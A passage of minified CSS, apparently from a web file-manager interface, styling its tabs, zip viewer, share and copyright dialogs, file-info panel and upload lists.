endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info 